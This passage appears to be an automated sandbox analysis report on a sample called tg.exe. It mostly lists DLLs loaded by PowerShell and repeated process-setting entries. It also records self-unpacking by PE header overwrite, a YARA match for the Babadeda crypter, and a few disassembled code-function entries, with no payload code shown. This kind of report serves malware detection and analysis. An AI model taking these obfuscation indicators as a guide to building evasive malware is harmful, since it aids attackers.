        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
        Source: C:\Users\user\Desktop\tg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior

        Data Obfuscation

        barindex
        Detected unpacking (overwrites its own PE header)
        Source: C:\Users\user\Desktop\tg.exeUnpacked PE file: 0.2.tg.exe.400000.0.unpack
        Yara detected Babadeda
        Source: Yara matchFile source: tg.exe, type: SAMPLE
        Source: Yara matchFile source: 0.2.tg.exe.400000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.0.tg.exe.400000.0.unpack, type: UNPACKEDPE
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_0040A83A LoadLibraryW,GetProcAddress,wcscpy,wcscat,wcslen,CoTaskMemFree,FreeLibrary,wcscat,wcslen,0_2_0040A83A
        Source: tg.exeStatic PE information: section name: .code
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00007FFD9BAB4855 pushad ; iretd 13_2_00007FFD9BAB4861
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00007FFD9BAB2325 push eax; iretd 13_2_00007FFD9BAB233D
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00007FFD9BABCA58 pushad ; ret 13_2_00007FFD9BABCBB1
        Source: C:\Users\user\Desktop\tg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\tg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\tg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
